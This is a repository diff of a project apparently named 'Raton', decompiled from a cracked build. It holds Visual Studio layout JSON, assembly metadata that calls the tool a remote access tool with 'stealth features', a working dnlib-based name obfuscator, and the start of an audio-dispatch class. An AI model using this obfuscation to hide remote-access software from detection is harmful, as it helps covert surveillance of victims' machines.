"Name": "ST:0:0:{b1e99781-ab81-11d0-b683-00aa00a3ee26}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{e5c86464-96be-4d7c-9a8b-abcb3bbf5f92}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{eefa5220-e298-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{aa2115a1-9712-457b-9047-dbb71ca2cdd2}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{40ea2e6b-2121-4bb8-a43e-c83c04b51041}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{3ae79031-e1bc-11d0-8f78-00a0c9110057}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:1:0:{d212f56b-c48a-434c-a121-1c5d80b59b9f}"
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{34e76e81-ee4a-11d0-ae2e-00a0c90fffc3}"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 0,
|
||||
"Title": "Resources.resx",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx",
|
||||
"RelativeDocumentMoniker": "Raton\\Properties\\Resources.resx",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Properties\\Resources.resx",
|
||||
"RelativeToolTip": "Raton\\Properties\\Resources.resx",
|
||||
"ViewState": "AgIAAOIAAAAAAAAAAAAEwAIBAABY7iEAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001005|",
|
||||
"WhenOpened": "2026-03-24T18:31:36.471Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 1,
|
||||
"Title": "BackendClient.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs",
|
||||
"RelativeDocumentMoniker": "RatonBack\\BackendClient.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\RatonBack\\BackendClient.cs",
|
||||
"RelativeToolTip": "RatonBack\\BackendClient.cs",
|
||||
"ViewState": "AgIAAEYAAAAAAAAAAADwv1wAAAAoAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:31:01.437Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 3,
|
||||
"Title": "Visual.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs",
|
||||
"RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs",
|
||||
"ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\9a9604281ed2971b436501ca1b9a377880c2d200c6ff3d4bbcc964ddfaee5e8c\\Visual.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"ViewState": "AgIAAEsJAAAAAAAAAADgv3IJAAAEAAAAAQAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:29:01.289Z",
|
||||
"EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 5,
|
||||
"Title": "WpfXamlLoader.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs",
|
||||
"RelativeDocumentMoniker": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs",
|
||||
"ToolTip": "C:\\Users\\user\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"RelativeToolTip": "..\\..\\..\\AppData\\Local\\Temp\\.vsdbgsrc\\361f82b6b9a328e1602d17ccc30c3c9a6486f38708e103ffe2d5612ce5556794\\WpfXamlLoader.cs [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]",
|
||||
"ViewState": "AgIAAFwAAAAAAAAAAADgv3cAAAADAAAAAQAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:23:34.806Z",
|
||||
"EditorCaption": " [\u0422\u043E\u043B\u044C\u043A\u043E \u0447\u0442\u0435\u043D\u0438\u0435]"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 7,
|
||||
"Title": "Games.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Games.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Games.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Games.cs",
|
||||
"ViewState": "AgIAAO8AAAAAAAAAAAAIwBMBAAADAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:20:59.309Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 18,
|
||||
"Title": "games.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Release\\windows\\games.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\games.g.cs",
|
||||
"RelativeToolTip": "obj\\Release\\windows\\games.g.cs",
|
||||
"ViewState": "AgIAAOEAAAAAAAAAAAAcwAEBAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:58:44.506Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 20,
|
||||
"Title": "tools.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Release\\windows\\tools.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\tools.g.cs",
|
||||
"RelativeToolTip": "obj\\Release\\windows\\tools.g.cs",
|
||||
"ViewState": "AgIAAGQAAAAAAAAAAAAcwFoAAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:53:36.217Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 17,
|
||||
"Title": "plugintutorial.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"RelativeToolTip": "obj\\Release\\windows\\plugintutorial.g.cs",
|
||||
"ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:58:49.39Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 9,
|
||||
"Title": "Tasks.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Tasks.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Tasks.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Tasks.cs",
|
||||
"ViewState": "AgIAAHkAAAAAAAAAAAAcwJkAAABNAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:20:46.477Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 8,
|
||||
"Title": "ClientStorage.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs",
|
||||
"RelativeDocumentMoniker": "ClientStorage.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\ClientStorage.cs",
|
||||
"RelativeToolTip": "ClientStorage.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAeAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:20:10.624Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 11,
|
||||
"Title": "AssemblyInfo.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs",
|
||||
"RelativeDocumentMoniker": "AssemblyInfo.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AssemblyInfo.cs",
|
||||
"RelativeToolTip": "AssemblyInfo.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAABEAAAALAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:17:42.311Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 13,
|
||||
"Title": "clientfolders.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\clientfolders.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\clientfolders.xaml",
|
||||
"RelativeToolTip": "windows\\clientfolders.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T18:13:32.722Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 2,
|
||||
"Title": "Credits.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Credits.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Credits.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Credits.cs",
|
||||
"ViewState": "AgIAACEAAAAAAAAAAAD4v0IAAAAcAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:13:29.117Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Bookmark",
|
||||
"Name": "ST:0:0:{1c64b9c2-e352-428e-a56d-0ace190b99a6}"
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 14,
|
||||
"Title": "ClientFolders.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\ClientFolders.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\ClientFolders.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\ClientFolders.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAAB4AAAANAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:13:30.405Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 4,
|
||||
"Title": "MainWindow.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs",
|
||||
"RelativeDocumentMoniker": "WpfApp1\\MainWindow.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\MainWindow.cs",
|
||||
"RelativeToolTip": "WpfApp1\\MainWindow.cs",
|
||||
"ViewState": "AgIAAOkBAAAAAAAAAAAjwAYCAAAEAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:50:36.45Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 6,
|
||||
"Title": "plugintutorial.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\plugintutorial.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\plugintutorial.xaml",
|
||||
"RelativeToolTip": "windows\\plugintutorial.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:58:50.375Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 12,
|
||||
"Title": "plugintutorial.g.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"RelativeDocumentMoniker": "obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"RelativeToolTip": "obj\\Debug\\windows\\plugintutorial.g.cs",
|
||||
"ViewState": "AgIAAGEAAAAAAAAAAAAcwIEAAAAVAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T18:14:20.678Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 16,
|
||||
"Title": "about.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\about.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\about.xaml",
|
||||
"RelativeToolTip": "windows\\about.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:59:24.563Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 15,
|
||||
"Title": "port.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\port.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\port.xaml",
|
||||
"RelativeToolTip": "windows\\port.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:58:56.381Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 19,
|
||||
"Title": "preview.xaml",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml",
|
||||
"RelativeDocumentMoniker": "windows\\preview.xaml",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\windows\\preview.xaml",
|
||||
"RelativeToolTip": "windows\\preview.xaml",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.003549|",
|
||||
"WhenOpened": "2026-03-24T17:56:17.962Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 21,
|
||||
"Title": "Port.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs",
|
||||
"RelativeDocumentMoniker": "WpfApp1\\Windows\\Port.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\WpfApp1\\Windows\\Port.cs",
|
||||
"RelativeToolTip": "WpfApp1\\Windows\\Port.cs",
|
||||
"ViewState": "AgIAAEsAAAAAAAAAAAAcwEsAAAAAAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:47:54.61Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 10,
|
||||
"Title": "Settings.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Windows\\Settings.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Windows\\Settings.cs",
|
||||
"RelativeToolTip": "Raton\\Windows\\Settings.cs",
|
||||
"ViewState": "AgIAAAAAAAAAAAAAAAAAABkAAAAbAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:47:49.308Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 22,
|
||||
"Title": "ratonCMD.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs",
|
||||
"RelativeDocumentMoniker": "Raton\\Forms\\ratonCMD.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\Raton\\Forms\\ratonCMD.cs",
|
||||
"RelativeToolTip": "Raton\\Forms\\ratonCMD.cs",
|
||||
"ViewState": "AgIAAGwAAAAAAAAAAAAcwIwAAAALAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:46:50.752Z",
|
||||
"EditorCaption": ""
|
||||
},
|
||||
{
|
||||
"$type": "Document",
|
||||
"DocumentIndex": 23,
|
||||
"Title": "AGObfuscator.cs",
|
||||
"DocumentMoniker": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs",
|
||||
"RelativeDocumentMoniker": "AGObfuscator.cs",
|
||||
"ToolTip": "C:\\Users\\user\\Desktop\\raton\\Raton\\AGObfuscator.cs",
|
||||
"RelativeToolTip": "AGObfuscator.cs",
|
||||
"ViewState": "AgIAAA4AAAAAAAAAAAAQwE8AAAAvAAAAAAAAAA==",
|
||||
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000738|",
|
||||
"WhenOpened": "2026-03-24T17:43:46.558Z",
|
||||
"EditorCaption": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AGObfuscator
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
#nullable disable
|
||||
public class AGObfuscator
|
||||
{
|
||||
private int counter;
|
||||
private readonly Random rng = new Random();
|
||||
private const string SafeCharset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
|
||||
public AGObfuscator(ModuleDef module)
|
||||
{
|
||||
if (module == null)
|
||||
throw new ArgumentNullException(nameof (module));
|
||||
this.Execute(module);
|
||||
}
|
||||
|
||||
private void Execute(ModuleDef module)
|
||||
{
|
||||
this.RemoveDebugAttributes(module);
|
||||
module.Name = (UTF8String) this.GenerateName();
|
||||
foreach (TypeDef type in module.GetTypes())
|
||||
{
|
||||
if (this.CanRenameType(type, module))
|
||||
{
|
||||
type.Namespace = (UTF8String) this.GenerateName();
|
||||
type.Name = (UTF8String) this.GenerateName();
|
||||
foreach (FieldDef fieldDef in type.Fields.Where<FieldDef>(new Func<FieldDef, bool>(this.CanRenameField)))
|
||||
fieldDef.Name = (UTF8String) this.GenerateName();
|
||||
foreach (MethodDef methodDef in type.Methods.Where<MethodDef>((Func<MethodDef, bool>) (m => this.CanRenameMethod(m, module))))
|
||||
{
|
||||
methodDef.Name = (UTF8String) this.GenerateName();
|
||||
foreach (Parameter parameter in methodDef.Parameters)
|
||||
{
|
||||
if (!parameter.IsHiddenThisParameter)
|
||||
parameter.Name = this.GenerateName(4, 4);
|
||||
}
|
||||
}
|
||||
foreach (PropertyDef propertyDef in type.Properties.Where<PropertyDef>(new Func<PropertyDef, bool>(this.CanRenameProperty)))
|
||||
propertyDef.Name = (UTF8String) this.GenerateName();
|
||||
foreach (EventDef eventDef in type.Events.Where<EventDef>(new Func<EventDef, bool>(this.CanRenameEvent)))
|
||||
eventDef.Name = (UTF8String) this.GenerateName();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private string GenerateName(int min = 8, int extra = 6)
|
||||
{
|
||||
int num = min + this.rng.Next(extra);
|
||||
StringBuilder stringBuilder = new StringBuilder(num + 4);
|
||||
for (int index = 0; index < num; ++index)
|
||||
stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[this.rng.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".Length)]);
|
||||
stringBuilder.Append(this.counter++.ToString("x"));
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
private bool CanRenameType(TypeDef t, ModuleDef module)
|
||||
{
|
||||
return !t.IsGlobalModuleType && !t.IsPublic && !t.IsInterface && !t.IsEnum && !t.IsValueType && module.EntryPoint?.DeclaringType != t && !this.InheritsFromUI(t) && !this.HasReflectionAttributes((IHasCustomAttribute) t) && !t.Methods.Any<MethodDef>((Func<MethodDef, bool>) (m => m.IsVirtual));
|
||||
}
|
||||
|
||||
private bool CanRenameMethod(MethodDef m, ModuleDef module)
|
||||
{
|
||||
return m.HasBody && !m.IsPublic && !m.IsFamily && !m.IsVirtual && !m.IsAbstract && !m.IsConstructor && !m.IsStaticConstructor && m != module.EntryPoint && m.ImplMap == null && !this.HasReflectionAttributes((IHasCustomAttribute) m);
|
||||
}
|
||||
|
||||
private bool CanRenameField(FieldDef f)
|
||||
{
|
||||
return !f.IsPublic && !f.IsFamily && !f.IsLiteral && !f.IsInitOnly;
|
||||
}
|
||||
|
||||
private bool CanRenameProperty(PropertyDef p)
|
||||
{
|
||||
return !this.IsPropertyPublic(p) && !this.HasReflectionAttributes((IHasCustomAttribute) p);
|
||||
}
|
||||
|
||||
private bool CanRenameEvent(EventDef e)
|
||||
{
|
||||
return !this.IsEventPublic(e) && !this.HasReflectionAttributes((IHasCustomAttribute) e);
|
||||
}
|
||||
|
||||
private bool HasReflectionAttributes(IHasCustomAttribute m)
|
||||
{
|
||||
return m.CustomAttributes.Any<CustomAttribute>((Func<CustomAttribute, bool>) (a =>
|
||||
{
|
||||
string typeFullName = a.TypeFullName;
|
||||
return typeFullName.Contains("Json") || typeFullName.Contains("Xml") || typeFullName.Contains("Serializable") || typeFullName.Contains("DataContract") || typeFullName.Contains("Reflection") || typeFullName.Contains("Designer") || typeFullName.Contains("ComVisible");
|
||||
}));
|
||||
}
|
||||
|
||||
private bool InheritsFromUI(TypeDef t)
|
||||
{
|
||||
string fullName = t.BaseType?.FullName;
|
||||
if (fullName == null)
|
||||
return false;
|
||||
return fullName.Contains("Form") || fullName.Contains("Control") || fullName.Contains("UserControl") || fullName.Contains("Window");
|
||||
}
|
||||
|
||||
private bool IsPropertyPublic(PropertyDef p)
|
||||
{
|
||||
MethodDef getMethod = p.GetMethod;
|
||||
if ((getMethod != null ? (getMethod.IsPublic ? 1 : 0) : 0) != 0)
|
||||
return true;
|
||||
MethodDef setMethod = p.SetMethod;
|
||||
return setMethod != null && setMethod.IsPublic;
|
||||
}
|
||||
|
||||
private bool IsEventPublic(EventDef e)
|
||||
{
|
||||
MethodDef addMethod = e.AddMethod;
|
||||
if ((addMethod != null ? (addMethod.IsPublic ? 1 : 0) : 0) != 0)
|
||||
return true;
|
||||
MethodDef removeMethod = e.RemoveMethod;
|
||||
return removeMethod != null && removeMethod.IsPublic;
|
||||
}
|
||||
|
||||
private void RemoveDebugAttributes(ModuleDef module)
|
||||
{
|
||||
for (int index = module.CustomAttributes.Count - 1; index >= 0; --index)
|
||||
{
|
||||
if (module.CustomAttributes[index].TypeFullName.Contains("Debuggable"))
|
||||
module.CustomAttributes.RemoveAt(index);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.Permissions;
|
||||
using System.Windows;
|
||||
|
||||
[assembly: AssemblyTitle("Raton")]
|
||||
[assembly: AssemblyDescription("A fast, customizable remote access tool with advanced client management and stealth features.")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("S-illy")]
|
||||
[assembly: AssemblyProduct("Raton Access Tool")]
|
||||
[assembly: AssemblyCopyright("Copyright © S-illy 2026")]
|
||||
[assembly: AssemblyTrademark("S-illy")]
|
||||
[assembly: ComVisible(false)]
|
||||
[assembly: ThemeInfo(ResourceDictionaryLocation.None, ResourceDictionaryLocation.SourceAssembly)]
|
||||
[assembly: AssemblyFileVersion("0.4.0.0")]
|
||||
[assembly: AssemblyVersion("0.4.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
@@ -0,0 +1,62 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AudioDispatch
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Threading;
|
||||
|
||||
#nullable disable
|
||||
public static class AudioDispatch
|
||||
{
|
||||
private static readonly ConcurrentQueue<(string uid, byte[] data, int length)> queue = new ConcurrentQueue<(string, byte[], int)>();
|
||||
private static readonly AutoResetEvent signal = new AutoResetEvent(false);
|
||||
private static readonly Thread audioThread = new Thread(new ThreadStart(AudioDispatch.Loop))
|
||||
{
|
||||
IsBackground = true,
|
||||
Name = nameof (AudioDispatch)
|
||||
};
|
||||
|
||||
static AudioDispatch() => AudioDispatch.audioThread.Start();
|
||||
|
||||
public static void Enqueue(string uid, byte[] data, int length)
|
||||
{
|
||||
if (data == null || length <= 0 || length > data.Length)
|
||||
return;
|
||||
byte[] dst = new byte[length];
|
||||
Buffer.BlockCopy((Array) data, 0, (Array) dst, 0, length);
|
||||
AudioDispatch.queue.Enqueue((uid, dst, length));
|
||||
AudioDispatch.signal.Set();
|
||||
}
|
||||
|
||||
private static void Loop()
|
||||
{
|
||||
label_0:
|
||||
try
|
||||
{
|
